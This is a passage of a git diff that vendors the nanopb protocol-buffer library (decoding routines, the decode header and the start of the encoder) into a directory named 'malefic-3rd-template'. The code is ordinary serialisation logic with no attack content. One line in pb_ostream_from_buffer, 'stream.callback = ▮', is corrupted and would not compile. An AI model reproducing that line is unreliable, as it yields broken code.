&iter)) + return false; + } + + /* Check that all elements of the last decoded fixed count field were present. */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + /* Check that all required fields were present. */ + { + pb_size_t req_field_count = iter.descriptor->required_field_count; + + if (req_field_count > 0) + { + pb_size_t i; + + if (req_field_count > PB_MAX_REQUIRED_FIELDS) + req_field_count = PB_MAX_REQUIRED_FIELDS; + + /* Check the whole words */ + for (i = 0; i < (req_field_count >> 5); i++) + { + if (fields_seen.bitfield[i] != allbits) + PB_RETURN_ERROR(stream, "missing required field"); + } + + /* Check the remaining bits (if any) */ + if ((req_field_count & 31) != 0) + { + if (fields_seen.bitfield[req_field_count >> 5] != + (allbits >> (uint_least8_t)(32 - (req_field_count & 31)))) + { + PB_RETURN_ERROR(stream, "missing required field"); + } + } + } + } + + return true; +} + +bool checkreturn pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + bool status; + + if ((flags & PB_DECODE_DELIMITED) == 0) + { + status = pb_decode_inner(stream, fields, dest_struct, flags); + } + else + { + pb_istream_t substream; + if (!pb_make_string_substream(stream, &substream)) + return false; + + status = pb_decode_inner(&substream, fields, dest_struct, flags); + + if (!pb_close_string_substream(stream, &substream)) + status = false; + } + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +bool checkreturn pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct) +{ + bool status; + + status = pb_decode_inner(stream, fields, dest_struct, 0); + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +#ifdef PB_ENABLE_MALLOC +/* Given an oneof field, if there has already been a field inside this oneof, + * release it before overwriting with a different one. */ +static bool pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field) +{ + pb_field_iter_t old_field = *field; + pb_size_t old_tag = *(pb_size_t*)field->pSize; /* Previous which_ value */ + pb_size_t new_tag = field->tag; /* New which_ value */ + + if (old_tag == 0) + return true; /* Ok, no old data in union */ + + if (old_tag == new_tag) + return true; /* Ok, old data is of same type => merge */ + + /* Release old data. The find can fail if the message struct contains + * invalid data. */ + if (!pb_field_iter_find(&old_field, old_tag)) + PB_RETURN_ERROR(stream, "invalid union tag"); + + pb_release_single_field(&old_field); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL to make sure it is valid + * even in case of error return. */ + *(void**)field->pField = NULL; + field->pData = NULL; + } + + return true; +} + +static void pb_release_single_field(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + if (*(pb_size_t*)field->pSize != field->tag) + return; /* This is not the current field in the union */ + } + + /* Release anything contained inside an extension or submsg. + * This has to be done even if the submsg itself is statically + * allocated. */ + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + /* Release fields from all extensions in the linked list */ + pb_extension_t *ext = *(pb_extension_t**)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + pb_release_single_field(&ext_iter); + } + ext = ext->next; + } + } + else if (PB_LTYPE_IS_SUBMSG(type) && PB_ATYPE(type) != PB_ATYPE_CALLBACK) + { + /* Release fields in submessage or submsg array */ + pb_size_t count = 1; + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + field->pData = *(void**)field->pField; + } + else + { + field->pData = field->pField; + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + count = *(pb_size_t*)field->pSize; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC && count > field->array_size) + { + /* Protect against corrupted _count fields */ + count = field->array_size; + } + } + + if (field->pData) + { + for (; count > 0; count--) + { + pb_release(field->submsg_desc, field->pData); + field->pData = (char*)field->pData + field->data_size; + } + } + } + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + if (PB_HTYPE(type) == PB_HTYPE_REPEATED && + (PB_LTYPE(type) == PB_LTYPE_STRING || + PB_LTYPE(type) == PB_LTYPE_BYTES)) + { + /* Release entries in repeated string or bytes array */ + void **pItem = *(void***)field->pField; + pb_size_t count = *(pb_size_t*)field->pSize; + for (; count > 0; count--) + { + pb_free(*pItem); + *pItem++ = NULL; + } + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* We are going to release the array, so set the size to 0 */ + *(pb_size_t*)field->pSize = 0; + } + + /* Release main pointer */ + pb_free(*(void**)field->pField); + *(void**)field->pField = NULL; + } +} + +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + pb_field_iter_t iter; + + if (!dest_struct) + return; /* Ignore NULL pointers, similar to free() */ + + if (!pb_field_iter_begin(&iter, fields, dest_struct)) + return; /* Empty message type */ + + do + { + pb_release_single_field(&iter); + } while (pb_field_iter_next(&iter)); +} +#else +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + /* Nothing to release without PB_ENABLE_MALLOC. */ + PB_UNUSED(fields); + PB_UNUSED(dest_struct); +} +#endif + +/* Field decoders */ + +bool pb_decode_bool(pb_istream_t *stream, bool *dest) +{ + uint32_t value; + if (!pb_decode_varint32(stream, &value)) + return false; + + *(bool*)dest = (value != 0); + return true; +} + +bool pb_decode_svarint(pb_istream_t *stream, pb_int64_t *dest) +{ + pb_uint64_t value; + if (!pb_decode_varint(stream, &value)) + return false; + + if (value & 1) + *dest = (pb_int64_t)(~(value >> 1)); + else + *dest = (pb_int64_t)(value >> 1); + + return true; +} + +bool pb_decode_fixed32(pb_istream_t *stream, void *dest) +{ + union { + uint32_t fixed32; + pb_byte_t bytes[4]; + } u; + + if (!pb_read(stream, u.bytes, 4)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint32_t*)dest = u.fixed32; +#else + *(uint32_t*)dest = ((uint32_t)u.bytes[0] << 0) | + ((uint32_t)u.bytes[1] << 8) | + ((uint32_t)u.bytes[2] << 16) | + ((uint32_t)u.bytes[3] << 24); +#endif + return true; +} + +#ifndef PB_WITHOUT_64BIT +bool pb_decode_fixed64(pb_istream_t *stream, void *dest) +{ + union { + uint64_t fixed64; + pb_byte_t bytes[8]; + } u; + + if (!pb_read(stream, u.bytes, 8)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint64_t*)dest = u.fixed64; +#else + *(uint64_t*)dest = ((uint64_t)u.bytes[0] << 0) | + ((uint64_t)u.bytes[1] << 8) | + ((uint64_t)u.bytes[2] << 16) | + ((uint64_t)u.bytes[3] << 24) | + ((uint64_t)u.bytes[4] << 32) | + ((uint64_t)u.bytes[5] << 40) | + ((uint64_t)u.bytes[6] << 48) | + ((uint64_t)u.bytes[7] << 56); +#endif + return true; +} +#endif + +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field) +{ + return pb_decode_bool(stream, (bool*)field->pData); +} + +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + pb_uint64_t value, clamped; + if (!pb_decode_varint(stream, &value)) + return false; + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_uint64_t)) + clamped = *(pb_uint64_t*)field->pData = value; + else if (field->data_size == sizeof(uint32_t)) + clamped = *(uint32_t*)field->pData = (uint32_t)value; + else if (field->data_size == sizeof(uint_least16_t)) + clamped = *(uint_least16_t*)field->pData = (uint_least16_t)value; + else if (field->data_size == sizeof(uint_least8_t)) + clamped = *(uint_least8_t*)field->pData = (uint_least8_t)value; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != value) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } + else + { + pb_uint64_t value; + pb_int64_t svalue; + pb_int64_t clamped; + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + { + if (!pb_decode_svarint(stream, &svalue)) + return false; + } + else + { + if (!pb_decode_varint(stream, &value)) + return false; + + /* See issue 97: Google's C++ protobuf allows negative varint values to + * be cast as int32_t, instead of the int64_t that should be used when + * encoding. Nanopb versions before 0.2.5 had a bug in encoding. In order to + * not break decoding of such messages, we cast <=32 bit fields to + * int32_t first to get the sign correct. + */ + if (field->data_size == sizeof(pb_int64_t)) + svalue = (pb_int64_t)value; + else + svalue = (int32_t)value; + } + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_int64_t)) + clamped = *(pb_int64_t*)field->pData = svalue; + else if (field->data_size == sizeof(int32_t)) + clamped = *(int32_t*)field->pData = (int32_t)svalue; + else if (field->data_size == sizeof(int_least16_t)) + clamped = *(int_least16_t*)field->pData = (int_least16_t)svalue; + else if (field->data_size == sizeof(int_least8_t)) + clamped = *(int_least8_t*)field->pData = (int_least8_t)svalue; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != svalue) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } +} + +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_bytes_array_t *dest; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + alloc_size = PB_BYTES_ARRAY_T_ALLOCSIZE(size); + if (size > alloc_size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_bytes_array_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "bytes overflow"); + dest = (pb_bytes_array_t*)field->pData; + } + + dest->size = (pb_size_t)size; + return pb_read(stream, dest->bytes, (size_t)size); +} + +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_byte_t *dest = (pb_byte_t*)field->pData; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size == (uint32_t)-1) + PB_RETURN_ERROR(stream, "size too large"); + + /* Space for null terminator */ + alloc_size = (size_t)(size + 1); + + if (alloc_size < size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_byte_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "string overflow"); + } + + dest[size] = 0; + + if (!pb_read(stream, dest, (size_t)size)) + return false; + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8((const char*)dest)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return true; +} + +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field) +{ + bool status = true; + bool submsg_consumed = false; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + /* Submessages can have a separate message-level callback that is called + * before decoding the message. Typically it is used to set callback fields + * inside oneofs. */ + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.decode) + { + status = callback->funcs.decode(&substream, field, &callback->arg); + + if (substream.bytes_left == 0) + { + submsg_consumed = true; + } + } + } + + /* Now decode the submessage contents */ + if (status && !submsg_consumed) + { + unsigned int flags = 0; + + /* Static required/optional fields are already initialized by top-level + * pb_decode(), no need to initialize them again. */ + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + PB_HTYPE(field->type) != PB_HTYPE_REPEATED) + { + flags = PB_DECODE_NOINIT; + } + + status = pb_decode_inner(&substream, field->submsg_desc, field->pData, flags); + } + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; +} + +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + if (size == 0) + { + /* As a special case, treat empty bytes string as all zeros for fixed_length_bytes. */ + memset(field->pData, 0, (size_t)field->data_size); + return true; + } + + if (size != field->data_size) + PB_RETURN_ERROR(stream, "incorrect fixed length bytes size"); + + return pb_read(stream, (pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest) +{ + uint_least8_t sign; + int exponent; + uint32_t mantissa; + uint64_t value; + union { float f; uint32_t i; } out; + + if (!pb_decode_fixed64(stream, &value)) + return false; + + /* Decompose input value */ + sign = (uint_least8_t)((value >> 63) & 1); + exponent = (int)((value >> 52) & 0x7FF) - 1023; + mantissa = (value >> 28) & 0xFFFFFF; /* Highest 24 bits */ + + /* Figure if value is in range representable by floats. */ + if (exponent == 1024) + { + /* Special value */ + exponent = 128; + mantissa >>= 1; + } + else + { + if (exponent > 127) + { + /* Too large, convert to infinity */ + exponent = 128; + mantissa = 0; + } + else if (exponent < -150) + { + /* Too small, convert to zero */ + exponent = -127; + mantissa = 0; + } + else if (exponent < -126) + { + /* Denormalized */ + mantissa |= 0x1000000; + mantissa >>= (-126 - exponent); + exponent = -127; + } + + /* Round off mantissa */ + mantissa = (mantissa + 1) >> 1; + + /* Check if mantissa went over 2.0 */ + if (mantissa & 0x800000) + { + exponent += 1; + mantissa &= 0x7FFFFF; + mantissa >>= 1; + } + } + + /* Combine fields */ + out.i = mantissa; + out.i |= (uint32_t)(exponent + 127) << 23; + out.i |= (uint32_t)sign << 31; + + *dest = out.f; + return true; +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.h new file mode 100644 index 0000000..3f392b2 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.h @@ -0,0 +1,204 @@ +/* pb_decode.h: Functions to decode protocol buffers. Depends on pb_decode.c. + * The main function is pb_decode. You also need an input stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_DECODE_H_INCLUDED +#define PB_DECODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom input streams. You will need to provide + * a callback function to read the bytes from your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause decoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer), + * and rely on pb_read to verify that no-body reads past bytes_left. + * 3) Your callback may be used with substreams, in which case bytes_left + * is different than from the main stream. Don't use bytes_left to compute + * any pointers. + */ +struct pb_istream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + */ + int *callback; +#else + bool (*callback)(pb_istream_t *stream, pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_istream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Maximum number of bytes left in this stream. Callback can report + * EOF before this limit is reached. Setting a limit is recommended + * when decoding directly from file or network streams to avoid + * denial-of-service by excessively long messages. + */ + size_t bytes_left; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +#ifndef PB_NO_ERRMSG +#define PB_ISTREAM_EMPTY {0,0,0,0} +#else +#define PB_ISTREAM_EMPTY {0,0,0} +#endif + +/*************************** + * Main decoding functions * + ***************************/ + +/* Decode a single protocol buffers message from input stream into a C structure. + * Returns true on success, false on any failure. + * The actual struct pointed to by dest must match the description in fields. + * Callback fields of the destination structure must be initialized by caller. + * All other fields will be initialized by this function. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_istream_t stream; + * + * // ... read some data into buffer ... + * + * stream = pb_istream_from_buffer(buffer, count); + * pb_decode(&stream, MyMessage_fields, &msg); + */ +bool pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct); + +/* Extended version of pb_decode, with several options to control + * the decoding process: + * + * PB_DECODE_NOINIT: Do not initialize the fields to default values. + * This is slightly faster if you do not need the default + * values and instead initialize the structure to 0 using + * e.g. memset(). This can also be used for merging two + * messages, i.e. combine already existing data with new + * values. + * + * PB_DECODE_DELIMITED: Input message starts with the message size as varint. + * Corresponds to parseDelimitedFrom() in Google's + * protobuf API. + * + * PB_DECODE_NULLTERMINATED: Stop reading when field tag is read as 0. This allows + * reading null terminated messages. + * NOTE: Until nanopb-0.4.0, pb_decode() also allows + * null-termination. This behaviour is not supported in + * most other protobuf implementations, so PB_DECODE_DELIMITED + * is a better option for compatibility. + * + * Multiple flags can be combined with bitwise or (| operator) + */ +#define PB_DECODE_NOINIT 0x01U +#define PB_DECODE_DELIMITED 0x02U +#define PB_DECODE_NULLTERMINATED 0x04U +bool pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_decode_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NOINIT) +#define pb_decode_delimited(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED) +#define pb_decode_delimited_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED | PB_DECODE_NOINIT) +#define pb_decode_nullterminated(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NULLTERMINATED) + +/* Release any allocated pointer fields. If you use dynamic allocation, you should + * call this for any successfully decoded message when you are done with it. If + * pb_decode() returns with an error, the message is already released. + */ +void pb_release(const pb_msgdesc_t *fields, void *dest_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an input stream for reading from a memory buffer. + * + * msglen should be the actual length of the message, not the full size of + * allocated buffer. + * + * Alternatively, you can use a custom stream that reads directly from e.g. + * a file or a network socket. + */ +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen); + +/* Function to read from a pb_istream_t. You can use this if you need to + * read some custom header data, or to read data in field callbacks. + */ +bool pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Decode the tag for the next field in the stream. Gives the wire type and + * field tag. At end of the message, returns false and sets eof to true. */ +bool pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof); + +/* Skip the field payload data, given the wire type. */ +bool pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type); + +/* Decode an integer in the varint format. This works for enum, int32, + * int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_varint(pb_istream_t *stream, uint64_t *dest); +#else +#define pb_decode_varint pb_decode_varint32 +#endif + +/* Decode an integer in the varint format. This works for enum, int32, + * and uint32 field types. */ +bool pb_decode_varint32(pb_istream_t *stream, uint32_t *dest); + +/* Decode a bool value in varint format. */ +bool pb_decode_bool(pb_istream_t *stream, bool *dest); + +/* Decode an integer in the zig-zagged svarint format. This works for sint32 + * and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_svarint(pb_istream_t *stream, int64_t *dest); +#else +bool pb_decode_svarint(pb_istream_t *stream, int32_t *dest); +#endif + +/* Decode a fixed32, sfixed32 or float value. You need to pass a pointer to + * a 4-byte wide C variable. */ +bool pb_decode_fixed32(pb_istream_t *stream, void *dest); + +#ifndef PB_WITHOUT_64BIT +/* Decode a fixed64, sfixed64 or double value. You need to pass a pointer to + * a 8-byte wide C variable. */ +bool pb_decode_fixed64(pb_istream_t *stream, void *dest); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Decode a double value into float variable. */ +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest); +#endif + +/* Make a limited-length substream for reading a PB_WT_STRING field. */ +bool pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream); +bool pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.c b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.c new file mode 100644 index 0000000..f9034a5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.c @@ -0,0 +1,1001 @@ +/* pb_encode.c -- encode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +#include "pb.h" +#include "pb_encode.h" +#include "pb_common.h" + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +/************************************** + * Declarations internal to this file * + **************************************/ +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field); +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension); +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high); +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +/******************************* + * pb_ostream_t implementation * + *******************************/ + +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + pb_byte_t *dest = (pb_byte_t*)stream->state; + stream->state = dest + count; + + memcpy(dest, buf, count * sizeof(pb_byte_t)); + + return true; +} + +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize) +{ + pb_ostream_t stream; +#ifdef PB_BUFFER_ONLY + /* In PB_BUFFER_ONLY configuration the callback pointer is just int*. + * NULL pointer marks a sizing field, so put a non-NULL value to mark a buffer stream. + */ + static const int marker = 0; + stream.callback = ▮ +#else + stream.callback = &buf_write; +#endif + stream.state = buf; + stream.max_size = bufsize; + stream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +bool checkreturn pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + if (count > 0 && stream->callback != NULL) + { + if (stream->bytes_written + count < stream->bytes_written || + stream->bytes_written + count > stream->max_size) + { + PB_RETURN_ERROR(stream, "stream full"); + } + +#ifdef PB_BUFFER_ONLY + if (!buf_write(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#endif + } + + stream->bytes_written += count; + return true; +} + +/************************* + * Encode a single field * + *************************/ + +/* Read a bool value without causing undefined behavior even if the value + * is invalid. See issue #434 and + * https://stackoverflow.com/questions/27661768/weird-results-for-conditional + */ +static bool safe_read_bool(const void *pSize) +{ + const char *p = (const char *)pSize; + size_t i; + for (i = 0; i < sizeof(bool); i++) + { + if (p[i] != 0) + return true; + } + return false; +} + +/* Encode a static array. Handles the size calculations and possible packing. */ +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field) +{ + pb_size_t i; + pb_size_t count; +#ifndef PB_ENCODE_ARRAYS_UNPACKED + size_t size; +#endif + + count = *(pb_size_t*)field->pSize; + + if (count == 0) + return true; + + if (PB_ATYPE(field->type) != PB_ATYPE_POINTER && count > field->array_size) + PB_RETURN_ERROR(stream, "array max size exceeded"); + +#ifndef PB_ENCODE_ARRAYS_UNPACKED + /* We always pack arrays if the datatype allows it. */ + if (PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + if (!pb_encode_tag(stream, PB_WT_STRING, field->tag)) + return false; + + /* Determine the total size of packed array. */ + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32) + { + size = 4 * (size_t)count; + } + else if (PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + size = 8 * (size_t)count; + } + else + { + pb_ostream_t sizestream = PB_OSTREAM_SIZING; + void *pData_orig = field->pData; + for (i = 0; i < count; i++) + { + if (!pb_enc_varint(&sizestream, field)) + PB_RETURN_ERROR(stream, PB_GET_ERROR(&sizestream)); + field->pData = (char*)field->pData + field->data_size; + } + field->pData = pData_orig; + size = sizestream.bytes_written; + } + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing.. */ + + /* Write the data */ + for (i = 0; i < count; i++) + { + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32 || PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + if (!pb_enc_fixed(stream, field)) + return false; + } + else + { + if (!pb_enc_varint(stream, field)) + return false; + } + + field->pData = (char*)field->pData + field->data_size; + } + } + else /* Unpacked fields */ +#endif + { + for (i = 0; i < count; i++) + { + /* Normally the data is stored directly in the array entries, but + * for pointer-type string and bytes fields, the array entries are + * actually pointers themselves also. So we have to dereference once + * more to get to the actual data. */ + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER && + (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES)) + { + bool status; + void *pData_orig = field->pData; + field->pData = *(void* const*)field->pData; + + if (!field->pData) + { + /* Null pointer in array is treated as empty string / bytes */ + status = pb_encode_tag_for_field(stream, field) && + pb_encode_varint(stream, 0); + } + else + { + status = encode_basic_field(stream, field); + } + + field->pData = pData_orig; + + if (!status) + return false; + } + else + { + if (!encode_basic_field(stream, field)) + return false; + } + field->pData = (char*)field->pData + field->data_size; + } + } + + return true; +} + +/* In proto3, all fields are optional and are only encoded if their value is "non-zero". + * This function implements the check for the zero value. */ +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field) +{ + pb_type_t type = field->type; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + if (PB_HTYPE(type) == PB_HTYPE_REQUIRED) + { + /* Required proto2 fields inside proto3 submessage, pretty rare case */ + return false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* Repeated fields inside proto3 submessage: present if count != 0 */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* Oneof fields */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Proto2 optional fields inside proto3 message, or proto3 + * submessage fields. */ + return safe_read_bool(field->pSize) == false; + } + else if (field->descriptor->default_value) + { + /* Proto3 messages do not have default values, but proto2 messages + * can contain optional fields without has_fields (generator option 'proto3'). + * In this case they must always be encoded, to make sure that the + * non-zero default value is overwritten. + */ + return false; + } + + /* Rest is proto3 singular fields */ + if (PB_LTYPE(type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Simple integer / float fields */ + pb_size_t i; + const char *p = (const char*)field->pData; + for (i = 0; i < field->data_size; i++) + { + if (p[i] != 0) + { + return false; + } + } + + return true; + } + else if (PB_LTYPE(type) == PB_LTYPE_BYTES) + { + const pb_bytes_array_t *bytes = (const pb_bytes_array_t*)field->pData; + return bytes->size == 0; + } + else if (PB_LTYPE(type) == PB_LTYPE_STRING) + { + return *(const char*)field->pData == '\0'; + } + else if (PB_LTYPE(type) == PB_LTYPE_FIXED_LENGTH_BYTES) + { + /* Fixed length bytes is only empty if its length is fixed + * as 0. Which would be pretty strange, but we can check + * it anyway. */ + return field->data_size == 0; + } + else if 